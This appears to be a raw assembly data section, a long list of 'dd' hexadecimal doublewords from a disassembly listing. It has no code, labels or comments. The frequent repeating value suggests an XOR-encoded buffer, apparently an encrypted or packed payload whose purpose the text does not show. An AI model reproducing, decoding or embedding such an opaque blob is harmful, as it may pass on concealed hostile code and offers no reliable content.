		dd 0C7DD4902h, 0F1454C6Bh, 0CA454CEBh, 0DCBE2F6Bh, 0AF454C6Bh
		dd 0AFBCEB65h, 2CE5C726h, 1FCF0B8Ch, 8C0534D0h,	4BC0A172h
		dd 0C8ACE68Eh, 0F8DEA47Fh, 0DA1CD763h, 0CCD8498Bh, 0F1454C6Bh
		dd 72549C28h, 0CA454C70h, 0CA45CF78h, 99264C6Bh, 60B6E58Bh
		dd 1FC6122Fh, 97636129h, 5EC7D58Ah, 5343712Ah, 0CA454C7Ch
		dd 0BAF0AAC3h, 22CF6E49h, 0FA24F776h, 5279A375h, 0D5BE9295h
		dd 5C454C6Bh, 9350D8ABh, 0DB1FBBBEh, 219EDDA5h,	65A07A11h
		dd 74F603DBh, 51255C46h, 0CA454C78h, 7820C2h, 0C10C3CD1h
		dd 99B5F770h, 5FF7775Ch, 0ECF52C87h, 0CA45CC78h, 0AA264C6Bh
		dd 80DEA483h, 754D2C73h, 82BE2F02h, 0F1454C6Eh,	0CA454FECh
		dd 9725A46Bh, 0D80763h,	2202818Dh, 0CA454C6Ch, 0CA454B12h
		dd 9E2D696Bh, 0BF14E9B9h, 88443E80h, 0E8BE5D6Fh, 0F1454C6Bh
		dd 0CA4554F7h, 47542C6Bh, 0CA454C6Ah, 2202818Ah, 0CA454C6Dh
		dd 79542C62h, 0C7DB491Fh, 0F1454C6Bh, 0CA454CF7h, 63D82F6Bh
		dd 0C8ACE68Eh, 0CA454E12h, 0C7A6396Bh, 4C8D9E68h, 188B20ECh
		dd 70543073h, 0CA454C7Eh, 0CA5BC878h, 0F2BE4C6Bh, 59454C6Bh
		dd 0A5A5E886h, 6F6BCE6Bh, 0C7C5498Ah, 0F1454C6Bh, 0CA454CEEh
		dd 0F8DE2F6Bh, 0CA52D678h, 0D9BE4C6Bh, 0CC454C6Bh, 855AC854h
		dd 0FECE987Fh, 0AE5CA8A3h, 7229E1E5h, 4B543CB3h, 0CA454C7Fh
		dd 0CA455612h, 19838A6Bh, 3E78FA62h, 0C2B376D0h, 4C935422h
		dd 47544D62h, 0CA454C83h, 0CA53D478h, 0DABE4C6Bh, 0CC454C6Bh
		dd 0CD545B91h, 0EE85B193h, 0B916BE3Ch, 0E77AB2F8h, 0CA454112h
		dd 6D89726Bh, 0B0002EAAh, 9EACA30h, 0CA474103h,	60254C6Bh
		dd 0B686EA46h, 32B8CF91h, 0FBBE2F29h, 53454C6Bh, 0CA454C7Bh
		dd 0E5F3D44Bh, 7F1057A1h, 8749EC56h, 4C85410Bh,	4F544A62h
		dd 0CA454ABFh, 0CA455412h
		dd 297BC76Bh, 0A2B9D2C5h, 2C62C36h, 0DD767787h,	21CACD8Ah
		dd 69C1496Ah, 53454C6Ah, 0CA454C7Dh, 0E89E84CDh, 0A1140F1Fh
		dd 1EEF3E33h, 80706985h, 87F34918h, 0CA50B76Ah,	60444C6Bh
		dd 9C9AC250h, 809E6C8Ah, 399961FAh, 0D8623E89h,	0C9C5F726h
		dd 47544C6Bh, 0CA454C4Ah, 0CA454312h, 62EBB86Bh, 3E0545C3h
		dd 5342B4EFh, 0CA454C70h, 25ECB860h, 14BE95B7h,	37454C6Ah
		dd 0CA459959h, 0F3DA496Bh, 0AA454C6Bh, 6E86CF91h, 1A8C493Ch
		dd 0C6BDCD8Dh, 0C7BD2C1Eh, 6D454C6Bh, 0F8477B1Eh, 84262C59h
		dd 8EBE2F67h, 53454C6Bh, 0CA454C7Bh, 0D23F2CC4h, 0C356658Fh
		dd 0A2135C3Dh, 9CEDBD70h, 0CA68CF78h, 4E544C6Bh, 0CA454C41h
		dd 0CA453C12h, 4D279C6Bh, 0FB150624h, 73F842BEh, 26B0C9E0h
		dd 5EEFD527h, 2243712Ah, 0F17040F7h, 0CA454FF4h, 0A928936Bh
		dd 0AADEA8EBh, 0CA454CD2h, 74C249EBh, 0AA454C6Ah, 0A140C325h
		dd 0AA25FD95h, 8402F88h, 0CA453A15h, 6B1D576Bh,	0DCBC841Ah
		dd 0B7B70D55h, 2CC8CE70h, 4D5A4EFBh, 0CFBE432Ah, 0F6454C6Bh
		dd 5A727B22h, 0E55C3F0Dh, 0CD8FB2D5h, 5EC74DCBh, 0F143712Ah
		dd 0CA454FECh, 0F4BE986Bh, 0D3454C6Bh, 75D3B813h, 929D74BBh
		dd 0F11DAA6Fh, 0CA4547EBh, 0DCC2496Bh, 53454C6Bh, 0CA454C78h
		dd 2BCF7115h, 0B3BE5EAEh, 136A80CEh, 88DE34A9h,	88DEA773h
		dd 0CADB4977h, 3E454C6Bh, 0CA47B115h, 24C986Bh,	0CA453A15h
		dd 140E526Bh, 0ACA2750Dh, 0F7C3B44Ch, 0DAC96BB4h, 14A543BFh
		dd 0F1C34930h, 0F1454C6Bh, 0CA454AF5h, 38262C6Bh, 9C0A702h
		dd 0CA51B771h, 58CA4C6Bh, 497B272Bh, 0A652A66h,	9DAC7946h
		dd 5BD74408h, 4C40C63Eh, 0C8AC8CC9h, 0F0251467h, 0CA454AF0h
		dd 0A7262C6Bh, 0AA3DD225h, 3E5D01F2h, 0CA454B15h, 0A283BB6Bh
		dd 0A00FD240h, 0C1B78387h, 88DEE458h, 0CA5BB777h, 3DC84C6Bh
		dd 52F670C0h, 28071158h, 5DFF5B4Fh, 0CA6CD57Bh,	0DBBE4C6Bh
		dd 11454C6Bh, 33830833h, 0C988E6A4h, 9E4A7820h,	54964CAEh
		dd 0CABFB78Ah, 0CEBE4C6Bh, 7454C6Bh, 0F9198E60h, 0F41C7524h
		dd 973C1824h, 0CA46D478h, 0FD494C6Bh, 4A232C2Bh, 0AB726C34h
		dd 0AA460EF5h, 0F1448EEBh, 0CA4543EFh, 0DE02E46Bh, 91264FF6h
		dd 29C249EAh, 0AA454C6Ah, 2A1CC63h, 52172C8Dh, 0CA454C70h
		dd 3C1C6D7Bh, 8124437Ch, 0CA57CC78h, 0CEBE4C6Bh, 0E9454C6Bh
		dd 0E494D9E6h, 0F74A4DFDh, 0EED7B36Ah, 22834D8Ah, 0F1478CEFh
		dd 0CA454FEDh, 0CA88986Bh, 0AA454C6Bh, 3AC62EBCh, 742F9893h
		dd 5582F08h, 0CA0DC07Bh, 4B544C6Bh, 0CA454C6Dh,	0CCEFD267h
		dd 0AA437E00h, 4C54DFDBh, 0CA454C6Ch, 49262F8Bh, 0C6BE4F0Fh
		dd 0F1454C6Bh, 58E32177h, 0CA59D47Bh, 4A544C6Bh, 0CA454C70h
		dd 0CA45CC78h, 0D404C6Bh, 0CA51D27Bh, 0F0BE4C6Bh, 72454C6Bh
		dd 42CE2C0Ah, 88EB4ACEh, 47ED0F70h, 88DE6790h, 88DE9873h
		dd 74232C77h, 8842E08h,	3ABE2F13h, 0AA454C6Ah, 0CA454E12h
		dd 0E2E2DF6Bh, 0F039AA3Ch, 0CA453FEDh, 0CA59B76Bh, 34AF4C6Bh
		dd 0E2705F70h, 0E0D49AFDh, 38265CFCh, 0D7DF4902h, 0AA454C6Bh
		dd 0CA454B12h, 0AB3B1A6Bh, 4B617D95h, 42117EA3h, 0ADF97F2h
		dd 0CA44638Dh, 0DABE4C6Bh, 0BD454C6Bh, 15949A3Dh, 0FAD036D1h
		dd 0DA9251C1h, 0EFF9AAFCh, 0CA58CA78h, 4A254C6Bh, 0F7FB1A33h
		dd 3B8C4979h, 0F083758Dh, 0CA4530F1h, 0CFD9496Bh, 53454C6Bh
		dd 0CA454C75h, 0A9B665EFh, 0AC9FA78Bh, 21AD9149h, 0F1478CEFh
		dd 0CA4547EFh, 0DABE2C6Bh, 5D454C6Bh, 0A5FECD4Bh, 0BEAE67E4h
		dd 2CE6C9Ah, 7D4804A9h,	88DE2F61h, 0CADD4973h, 37454C6Bh
		dd 0CA7BD57Bh, 52254C6Bh, 0CA454C78h, 0A115E857h, 1B3DC46Ch
		dd 0D9A15615h, 0D5BE4DA7h, 0AB454C6Bh, 10EC72Fh, 0FC6D194Bh
		dd 12E3FFA0h, 0CA57ABAh, 0AB7B854Ah, 225901F2h,	5A882C62h
		dd 4931CB91h, 0AA26660Bh, 0CA68D778h, 4E544C6Bh, 0CA454C41h
		dd 0CA453C12h, 0E8879C6Bh, 3779A50h, 0C5BF92Ah,	0A1A84251h
		dd 0A99EA72Eh, 0E3ABCF91h, 0CA58B783h, 92454C6Bh, 72836BF1h
		dd 27C2BC9h, 0A9802FFEh, 7CACD978h, 0A9122FC0h,	2DD82F67h
		dd 38882E8Ah, 5C02F85h,	0F025A466h, 0CA4554F9h,	81132C6Bh
		dd 3C5AE491h, 0CA45B48Dh, 4A2F4C6Bh, 194AFC14h,	0F1C74973h
		dd 0F1454C6Bh, 0CA454AF5h, 0A9262C6Bh, 31C62E63h, 74269DE7h
		dd 188B0F24h, 74542C73h, 0CA454C6Fh, 0F09CD591h, 0FC268E28h
		dd 0CAD84932h, 23454C6Bh, 0F14559EFh, 0CA41BCEFh, 0C8D8A76Bh
		dd 0A84498Bh, 0CA41D27Bh, 62234C6Bh, 2026315Ah,	495448E1h
		dd 0CA454C76h, 0CA43D278h, 48544C6Bh, 0CA454C6Ah, 0AA5D1368h
		dd 0A60E91EAh, 7423F364h, 0AA152F03h, 0C88D2E81h, 51260625h
		dd 0CA45574Ch, 0F0855563h, 0CA4509EEh, 0C8C1496Bh, 0F1454C6Bh
		dd 0CA454FF6h, 4925A76Bh, 7516340Fh, 7426052Dh,	0D9BE2C73h
		dd 7D454C6Bh, 0FE772192h, 0DB484ECEh, 2640F582h, 0A80DBC23h
		dd 96A39EEAh, 0CA01B78Ah, 74544C6Bh, 0CA454C7Ah, 0CA5EB78Bh
		dd 0AC584C6Bh, 0D4CB4D8Eh, 0AAE2214Ah, 535181ECh, 0CA454C74h
		dd 4A074F63h, 0E4046C73h, 86BD7B3Ah, 53449968h,	0CA454C7Dh
		dd 0C4423EE6h, 9F3459A4h, 0C95BD21Ch, 0A50C359h, 86DEA435h
		dd 0DBBD2C67h, 71454C6Bh, 9119868Ah, 0BC7D5769h, 63298339h
		dd 0AEB09178h, 3844956h, 0AAB1DE8Bh, 0AA591368h, 449ECF91h
		dd 0CA5FB76Ch, 17BC4C6Bh, 0F0BD6AB1h, 6CF1B26Fh, 0F132998Dh
		dd 3E0C9962h, 0CA5DF312h, 0CA59B76Bh, 72EC4C6Bh, 0A49D92A6h
		dd 0A1DB31C6h, 0A58B729h, 0CA76C07Bh, 4A254C6Bh, 0F3B2D83Ch
		dd 30D82EE1h, 0CC2CB78Dh, 4F544C6Bh, 0CA454C47h, 14B7CF8Bh
		dd 537992ACh, 0CA454C78h, 0EBCDEA37h, 0F2ABA146h, 5F6A6B4h
		dd 74269695h, 982598B1h, 0CA455513h, 2BB5756Bh,	0AFF2C07h
		dd 850AC260h, 18D80789h, 0CA5AB78Dh, 0AA254C6Bh, 0CDAEDEA0h
		dd 8910F5F2h, 0E305DFCDh, 0CBC74970h, 0AA454C6Ch, 0CA454812h
		dd 0E931976Bh, 0AE92350Dh, 7E6B0158h, 87442FAAh, 0DCC34967h
		dd 53454C6Bh, 0CA454C78h, 0E2D5E68Ah, 34CE0ABBh, 0E7299F0Bh
		dd 0A0C04283h, 46544C6Fh, 0CA454CAFh, 0CA5EB48Bh, 6C354C6Bh
		dd 0B84C4541h, 0F022589Dh, 0A72D7928h, 3E4B9FEAh, 0CDC4CD8Dh
		dd 0E9C1496Bh, 0F1454C6Bh, 0CA4530EAh, 0CA54B76Bh, 0A4A64C6Bh
		dd 0A47ECCEFh, 0FBD7249Dh, 0FEE1D22h, 0CA08B70Ch, 62494C6Bh
		dd 2144996Bh, 0CA453A15h, 6037156Bh, 0CE66F694h, 3704EF9Ah
		dd 615DB4F1h, 62BCD7CAh, 0CA454C71h, 7C62E8Bh, 74235D62h
		dd 94B02F63h, 3FFBB766h, 7254996Bh, 0CA454C6Dh,	0D9C4CD63h
		dd 9CC1496Eh, 3E454C6Bh, 0D9C4CD65h, 9FC24971h,	53454C6Bh
		dd 0CA454C73h, 3173EA15h, 8A8B8E32h, 0CA453C12h, 77BC836Bh
		dd 78367D75h, 5C40C708h, 9930E247h, 0C61CD5A7h,	0CD24D567h
		dd 0CA43D278h, 78254C6Bh, 0AB78DC38h, 0CA46B312h, 0C7BE2C6Bh
		dd 84454C6Bh, 0A2D52651h, 88D82F12h, 80D8936Fh,	528D2C77h
		dd 4A4505E4h, 5226872Fh, 0CA454F9Bh, 0C61CD563h, 0CD24D51Eh
		dd 0C2DB491Eh, 53454C6Bh, 0CA454C7Eh, 9A8A9ED5h, 90FFB617h
		dd 0BA932557h, 9C367134h, 843210A7h, 0F15DF9A4h, 0CA45C8EEh
		dd 0ECF22C6Bh, 9B2691F4h, 98D89863h, 0CA59B76Fh, 3D784C6Bh
		dd 941F88ADh, 6290668Fh, 9778A01Ch, 0A6F32C7Bh,	0AA26988Bh
		dd 0AA51F36Ch, 0AB4FD978h, 5359F9F4h, 0CA454C75h, 0F6418F13h
		dd 22DF9045h, 0A9AF75E6h
		dd 96D92EAh, 715458ABh,	0CA454C6Ch, 4C262F8Bh, 0DCBE4317h
		dd 28454C6Bh, 4B1852E3h, 92C54049h, 0ED6D0EF7h,	0A0206FB8h
		dd 844D7D27h, 0CA5CCE78h, 0A7254C6Bh, 20D982EAh, 0C9CDB78Dh
		dd 0C7BE4C6Bh, 65454C6Bh, 0EBE1E7B9h, 0C61CD5FAh, 694AE28Bh
		dd 0F3BE126Fh, 0B3454C6Bh, 0F55CEF52h, 3EE69990h, 80D82FC7h
		dd 0F3C54977h, 0AA454C6Bh, 725405BCh, 0CA454C6Ah, 0C524758Ah
		dd 0CA454812h, 0DAC8D86Bh, 5D0EA302h, 0DCAE51B4h, 0C6B8CD3Fh
		dd 0CA453F12h, 98063B6Bh, 0DAC7FD43h, 0FF94984Dh, 9180CD0h
		dd 7440D002h, 0C89633A9h, 0CA5DCF78h, 74544C6Bh, 0CA454C6Ch
		dd 0A0C02F8Bh, 47544D7Bh, 0CA454CA7h, 0CA453D12h, 1E83676Bh
		dd 98580419h, 99B6D51Dh, 0F236C035h, 5C48975Fh,	0CA5EB7ADh
		dd 64B64C6Bh, 0DF604E49h, 0F16C23A9h, 0CA4556F8h, 0CA5EB76Bh
		dd 26AC4C6Bh, 0C28DD683h, 14131F04h, 9DDEA405h,	0CFBE4F6Ah
		dd 0C2454C6Bh, 7252E677h, 7EB18DC1h, 3BAE2003h,	2144E42Eh
		dd 634E996Bh, 0CA454C71h, 0CC52C62h, 2BC62EEEh,	3C26B466h
		dd 0CA5AB7D7h, 0F0AA4C6Bh, 0B647F2CCh, 8A1AEC8Ch, 5364CB9Ah
		dd 214498E6h, 0CA5FC07Bh, 0C6BE4C6Bh, 91454C6Bh, 0FF68F5DDh
		dd 0CA454812h, 5CE69B6Bh, 4D4CC6DCh, 0CE2E856Dh, 71542F31h
		dd 0CA454C74h, 0CA454312h, 0E5892A6Bh, 0F09E243Fh, 0CA4552F2h
		dd 618D2C6Bh, 0A7279F29h, 0B257FF4h, 97494C7Ah,	0CA46CA78h
		dd 754E4C6Bh, 0CA42B716h, 9B954C6Bh, 5297AFDCh,	0CA454C79h
		dd 0F6B22987h, 0EA617C72h, 0A254C896h, 3D81CD72h, 0CA5FB78Ah
		dd 37594C6Bh, 0D20787BEh, 479D4987h, 0A9268EF7h, 0CA455712h
		dd 0E086C36Bh, 0B4F973Eh, 524E3550h, 0CA454C6Ah, 43BFCF85h
		dd 0AA5C846Ch, 0CF5C96EAh, 3CD800BEh, 0CA56B78Dh, 355A4C6Bh
		dd 9C54CECFh, 58D87353h, 681D047Eh, 757E02CCh, 188B0F24h
		dd 0C1DE4973h, 53454C6Bh, 0CA454C7Fh, 0EC844FE8h, 780B18CFh
		dd 1E305B2Ch, 7030A1E2h, 0FD086140h, 0E0C09332h, 3BC1496Bh
		dd 53454C6Fh, 0CA454C76h, 2624DBD7h, 9920A09Bh,	23A37537h
		dd 0AA5CD565h, 0CA47CF78h, 83174C6Bh, 0A84AD28Bh, 60A68FEAh
		dd 0B7442F8Dh, 0B744A477h, 0CA5FB773h, 89BA4C6Bh, 774D27BAh
		dd 365DB10Ah, 64232CBAh, 0CFBE2AD8h, 16454C6Bh,	0D2F0824Bh
		dd 0F852207Ch, 0CE9B1283h, 94BD2F9Eh, 0AA454C6Fh, 9D4BD591h
		dd 0AA2F20DEh, 47548C74h, 0CA454CAAh, 0CA453012h, 0CDC1516Bh
		dd 3CD2E435h, 42A4AD77h, 0D35A227Ch, 0A637D70Eh, 0AA5CD57Ch
		dd 2313E291h, 0CA454115h, 0DE77416Bh, 43BEEEFAh, 0CA19B78Dh
		dd 0F1BE4C6Bh, 0FB454C6Bh, 0BE36BC11h, 3DB15E42h, 0AA5181EFh
		dd 24466B28h, 0CA51B46Dh, 7A574C6Bh, 0C55FE102h, 6AD29EDDh
		dd 3F94D8A7h, 0D7861299h, 8784A8DAh, 8104A0FDh,	2169B78Ah
		dd 0F4BE996Bh, 0AF454C6Bh, 0EBEF0B6Dh, 0A6B66EE0h, 86DE4F3Bh
		dd 0CFBD2C67h, 1D454C6Bh, 65BB86DCh, 279D2945h,	0DE309BF5h
		dd 0C9D94939h, 83454C6Bh, 522695F4h, 0CA454C73h, 99E5DCB5h
		dd 211A8F2Ch, 735448E1h, 0CA454C6Dh, 0F1329963h, 0AA0C991Eh
		dd 0A7B5D978h, 512692F4h, 0CA454A3Ch, 74232C8Bh, 0CA5AB700h
		dd 0DA554C6Bh, 17E54EF3h, 2C73F9A2h, 0AA8FF15Dh, 0AA94D58Bh
		dd 0F085558Ah, 0CA4565EFh, 0CA5CB76Bh, 8C54C6Bh, 6C44A63h
		dd 0CBDCB75Fh, 0DBBE4C6Bh, 0D2454C6Bh, 0D46EA70Ah, 50E5D323h
		dd 2914E750h, 0C448794Ah, 0CEC149D7h, 0AA454C6Bh, 62FEAB25h
		dd 0C9DE49B3h, 0AB454C6Bh, 0F14903F4h, 0CA453FF1h, 0CA59B76Bh
		dd 79904C6Bh, 0D17D79DFh, 189B50C3h, 0C90ECCEBh, 0CC08CA78h
		dd 20B24C6Bh, 4CB298B1h, 0F14540EBh, 0CA450CEFh, 0CA43B76Bh
		dd 2B8D4C6Bh, 0AA9483FFh, 0CDC4CD67h, 13C1496Bh, 0AA454C6Ah
		dd 0CA030825h, 0CBDF4945h, 99454C6Bh, 0B1BE2F83h, 0AA454C6Bh
		dd 0C9C049BAh, 81454C6Bh, 0F02692F4h, 0CA4540F1h, 0AA252C6Bh
		dd 2144E48Ah, 6349996Bh, 0CA454C71h, 0CA455712h, 0DDC44D6Bh
		dd 0E3716797h, 94B77857h, 0CA58D77Bh, 0C7BE4C6Bh, 0FC454C6Bh
		dd 25E15581h, 3FA6B7B0h, 4D4E996Bh, 0F1423CEBh,	0CA4527EFh
		dd 0A0C0A76Bh, 47544E7Bh, 0CA454C2Bh, 0C7D8498Bh, 0F1454C6Bh
		dd 0CA454CF0h, 4754FD6Bh, 0CA454C6Ah, 0F1062F84h, 0CA4546F1h
		dd 0C1C7496Bh, 53454C6Bh, 0CA454C7Fh, 3AED2AAFh, 12AF3BD3h
		dd 85E87E46h, 20A5CBA3h, 221BC14Ah, 534101F7h, 0CA454C7Fh
		dd 0AB15F6D4h, 15991570h, 4242980Ah, 0E9477834h, 7506FAC9h
		dd 7254488Bh, 0CA454C6Dh, 0CADB4963h, 37454C6Bh, 0CA458B15h
		dd 88D8936Bh, 0D7D4496Fh, 0AA454C6Bh, 0CA455613h, 3B21A6Bh
		dd 1AC2F0FDh, 0D4F43260h, 9FB06B0Bh, 0CA5CB78Ah, 0DECF4C6Bh
		dd 0A70F25B8h, 0CD24D594h, 0CA454112h, 0F19E6D6Bh, 6DAD89B1h
		dd 0CA45D215h, 0CA5AB76Bh, 91034C6Bh, 69D91C43h, 7BD1D946h
		dd 743CD3D5h, 0F4BE40B3h, 12454C6Bh, 0AC947135h, 524A7C47h
		dd 80D8BE07h, 0CA50B777h, 0F5F54C6Bh, 3F73EC51h, 1D9134F4h
		dd 24EBD611h, 4B3381B5h, 0C5247540h, 0CA453012h, 1987656Bh
		dd 1425EA0Eh, 4A3222D4h, 94801A13h, 0E1992989h,	0C6B8CDAEh
		dd 0D9C4CD62h, 0E9C2496Ch, 53454C6Bh, 0CA454C72h, 486D5DFAh
		dd 28242910h, 46542CADh, 0CA454C6Eh, 0CA4BE291h, 0C1879CEAh
		dd 1426F951h, 9DDEA705h, 7A254F6Ah, 0DBBD2C9Dh,	3E454C6Bh
		dd 83AFF00Ah, 0CB02595Ah, 8CE8956Eh, 0D60A1B96h, 0AA250719h
		dd 4E542F8Ah, 0CA454C6Dh, 2144E463h, 634E996Bh,	0CA454C71h
		dd 52F89D63h, 0CA454C72h, 0A38ED525h, 78A9668Dh, 214A0E15h
		dd 0C3C7496Bh, 0AA454C6Bh, 0D9BD0DDEh, 36454C6Bh, 7FFA85E1h
		dd 2B4C582Eh, 0DFA74318h, 83FFFCFAh, 70542F8Ah,	0CA454C6Dh
		dd 0BB29763h, 4A254C72h, 7235251Ch, 3D122F9Dh, 0CA5AD57Bh
		dd 0F0254C6Bh, 0CA454CEAh, 3CC62E6Bh, 7426CBC7h, 0CADA4916h
		dd 37454C6Bh, 0F14980EFh, 0CA4548F4h, 0CA5CB76Bh, 36964C6Bh
		dd 0CECB8BF3h, 74252C4Eh, 0C344E21Ah, 742639C1h, 735454B1h
		dd 0CA454C4Dh, 0CA51B78Bh, 0C4BB4C6Bh, 0E80CFF01h, 4A2FD5Ah
		dd 0B5A715E9h, 668EE8ECh, 18C63C5Dh, 9E3C34C6h,	0CE02658Ah
		dd 0C922CA78h, 0C6BE4C6Bh, 3B454C6Bh, 0F172956Bh, 0CA43B48Bh
		dd 0CC214C6Bh, 0F3A53A98h, 0CA45CF78h, 522E4C6Bh, 0CA454C77h
		dd 0B146E98Bh, 0B4E8FDA8h, 0AB64A8FBh, 0F15503A4h, 0CA4576F0h
		dd 869C936Bh, 0CA454C67h, 0CA57B76Bh, 27584C6Bh, 0C80EA66Fh
		dd 7A8ABE70h, 0CE6635h,	8ED2718Bh, 0CA456B12h, 4A232C6Bh
		dd 0A85FE117h, 82686F4h, 0CA4698B1h, 0AA254C6Bh, 0CA453312h
		dd 0F0BE936Bh, 0B4454C6Bh, 0D35317C3h, 58DD4183h, 0CE11070Ah
		dd 5226D47Ch, 0CA454C77h, 5981BA8Dh, 1E00D87Bh,	53469FF4h
		dd 0CA454C72h, 6372E36Eh, 8AC5E866h, 374903F4h,	74542C35h
		dd 0CA454C6Dh, 39844967h, 0CA598A8Dh, 0ED8B2E8Bh, 0AB46DC54h
		dd 0CA455712h, 0D601246Bh, 880588C0h, 0F012C3A0h, 0CA454FF6h
		dd 4D54936Bh, 0CA454C77h, 0CA454E12h, 4FBD056Bh, 75642117h
		dd 5C09816h, 0A9262C66h, 0CA453C13h, 77270A6Bh,	97E79208h
		dd 0A4928F64h, 47F07993h, 0F02BE684h, 0AA2E2C7Dh, 0C9BD938Bh
		dd 84454C6Bh, 0F1CAB2EAh, 74544103h, 0CA454C73h, 0CA46C878h
		dd 0F14D4C6Bh, 0CA4541F3h, 0CAC7496Bh, 37454C6Bh, 3DB2975Fh
		dd 4854855Fh, 0CA454C4Ch, 0CA51B48Bh, 9F434C6Bh, 56517A87h
		dd 412E087Ah, 35F56618h
		dd 1F0CF692h, 4A28EFBEh, 0E382F63h, 9EDE2FA6h, 0CA50B767h
		dd 50134C6Bh, 0DF081CA6h, 0A1CFFF1h, 87E3E069h,	0D3923EB6h
		dd 0CA43B777h, 85C84C6Bh, 0A8801692h, 6006E2F4h, 0CFBE4103h
		dd 3454C6Bh, 6EBBC39h, 7E534A16h, 0DAB0A5C2h, 0CA04CD4Ah
		dd 0CC52C078h, 534D4C6Bh, 0CA454C76h, 0B46BAB1Ch, 60A61E3Fh
		dd 6CECDFAFh, 0F14459EFh, 0CA455FEEh, 48542C6Bh, 0CA454C6Ah
		dd 0CA454112h, 32888B6Bh, 76C45ABAh, 0D59CCD8Dh, 2084498Bh
		dd 63BEA48Dh, 0AA44996Bh, 0CA454312h, 0B9E6946Bh, 33C56CC1h
		dd 0A0C02FC4h, 46544C6Fh, 0CA454C5Ch, 0CA454112h, 2AA35C6Bh
		dd 0CB5CC17Bh, 0CA5919ECh, 0CA69C078h, 0F1BE4C6Bh, 35454C6Bh
		dd 0A88191B5h, 52DE70D9h, 0CA454CA3h, 2284498Bh, 1F844983h
		dd 87442F8Bh, 4D49A467h, 74253033h, 4A542C2Fh, 0CA454C6Ah
		dd 0AA2665DCh, 2110B71Eh, 0F025996Bh, 0CA454AEEh, 0A92DFD6Bh
		dd 61542F8Bh, 4C262F02h, 0F1423CEBh, 0CA45F9EFh, 0CA43B76Bh
		dd 77ED4C6Bh, 0C367B85Eh, 0C85519ECh, 0C93DC378h, 0F0254C6Bh
		dd 0CA454CEFh, 39C62E6Bh, 8A266124h, 0CA6ED478h, 0D5BE4C6Bh
		dd 4F454C6Bh, 142B3199h, 0C3A77782h, 5CDD1D3Dh,	1FFE0BD7h
		dd 755C1807h, 74B240B3h, 52B2488Bh, 0CA454CF0h,	0CA5FCD78h
		dd 0A9254C6Bh, 0C9C7498Ah, 0AB454C6Bh, 0AA4101F4h, 1FD82E67h
		dd 0CD24D58Dh, 0CA43D478h, 74254C6Bh, 0AA90D53Bh, 0CA456212h
		dd 88D8936Bh, 80D8A76Fh, 0CA5CB777h, 0AFAB4C6Bh, 0D2D70761h
		dd 0C52475A7h, 0C6B8CD1Eh, 0D9C4CD1Eh, 0D5C2496Ch, 22454C6Bh
		dd 0CDDD49ADh, 0F1454C6Bh, 0CA454EF5h, 0C9DB496Bh, 15454C6Bh
		dd 0CEC14905h, 53454C6Bh, 0CA454C72h, 0FCFAD6DDh, 5893A73Fh
		dd 0CA454315h, 0D26B856Bh, 9DDE3553h, 4D544F6Ah, 0CA454C7Bh
		dd 0CA42B78Bh, 71C04C6Bh, 0A7975D6Fh, 612696F4h, 2144996Bh
		dd 0CA54B48Ah, 49824C6Bh, 0CFE98CCAh, 69E892EAh, 0F1DE75C1h
		dd 8228FFF1h, 0F3C7498Ah, 0AA454C6Bh, 0CA45C878h, 812C4C6Bh
		dd 0CA42E78Ah, 52254C6Bh, 0CA454C72h, 0DD0DC22Ch, 206E536Eh
		dd 0CA455215h, 1915B06Bh, 0EEF1988Dh, 0AACA4EE8h, 0F3BEF51Ch
		dd 0F9454C6Bh, 2E3CC7A5h, 6E555094h, 3EA0B7DEh,	0AB4D996Bh
		dd 0CA46D478h, 74B24C6Bh, 0DABE98B1h, 0BD454C6Bh, 47DE9FEDh
		dd 18365271h, 20601F2h,	0C183BC8h, 0CA59B735h, 0DCF64C6Bh
		dd 7C217AB7h, 0E7991B8Ch, 5280F0B3h, 0CA454C7Eh, 0CD8952C9h
		dd 21E29E6Dh, 0FF5C9D3Dh, 92FC8BD1h, 0DD70FABAh, 0CA5EB7BBh
		dd 0FDEC4C6Bh, 3B95AC83h, 9AFD9A21h, 0CA455612h, 49C82B6Bh
		dd 0A6BF11B0h, 7FA36144h, 9CC53ABBh, 0CA453F12h, 0BBCBA46Bh
		dd 80A0D5DFh, 0A89F334h, 0FC0E0AFAh, 0C9BDE7D9h, 84454C6Bh
		dd 0F4F2B2EAh, 0DCBE4103h, 76454C6Bh, 4ED5FAF3h, 45183032h
		dd 2652EA2Fh, 91DB813Dh, 4F5B7ABFh, 0CA454C6Dh,	0C5EFCB1Eh
		dd 53437128h, 0CA454C73h, 1530A666h, 534D5B25h,	0CA454C77h
		dd 0E1555B8Ah, 94C3D155h, 613E2EA0h, 0CA454C8Eh, 0CA455712h
		dd 3BE9606Bh, 2D1493D5h, 0E5BD386Fh, 22454C71h,	0A72555F7h
		dd 3E33B4EAh, 56EDE790h, 0B08938Dh, 0C9F1B765h,	71544C6Bh
		dd 0CA454C6Dh, 0A8152C1Eh, 0F485B7EAh, 0B5402F84h, 0CA50B76Fh
		dd 4EB64C6Bh, 876C72CBh, 7A79AB92h, 2DD14F3Ch, 8D81960Fh
		dd 0F0866556h, 0CA45DDEDh, 73542C6Bh, 0CA454C6Dh, 0C7C14962h
		dd 4B454C6Bh, 386E5A10h, 72542F9Ah, 0CA454C7Fh,	0CA5ACB78h
		dd 0F1BE4C6Bh, 3B454C6Bh, 0AA14F8D2h, 0CCE673C9h, 4C543CB4h
		dd 0CA454C76h, 0CA43CF78h, 4E544C6Bh, 0CA454C6Ah, 4C548FA4h
		dd 0CA454C4Eh, 0CA46C178h, 0A9B24C6Bh, 0CA453C12h, 6197FF6Bh
		dd 0B38AA739h, 212C495Ah, 0ECFB981Fh, 0C8BE2F6Eh, 3E454C6Bh
		dd 0CA452E15h, 0A9BEA76Bh, 0F1454C6Bh, 0CA454FF1h, 43DAA76Bh
		dd 0C8AE43B0h, 0CA453A12h, 0BED2E26Bh, 7E2DC93Eh, 66D8EE3Fh
		dd 6835C4E7h, 2119663Ch, 0F5BEA43Fh, 0AA454C6Bh, 3380CF91h
		dd 84B5CFF6h, 0AA235AA6h, 0F139C2F6h, 0CEBE4102h, 7B454C6Bh
		dd 0BBDE7968h, 5BF75913h, 5B3D045Eh, 21909961h,	0CA454E15h
		dd 88FC956Bh, 842238B1h, 0CA46D778h, 834D4C6Bh,	0C7DD498Bh
		dd 0F1454C6Bh, 0CA454CEFh, 0F0BE2F6Bh, 0EA454C6Bh, 5AD4C083h
		dd 8C1BAEA3h, 0CD9522C0h, 0A92DF7E1h, 2D8A4F4h,	4D548D8Dh
		dd 0CA454C72h, 5986CF8Bh, 0AB09E18Fh, 0CA43B7BEh, 0B4CD4C6Bh
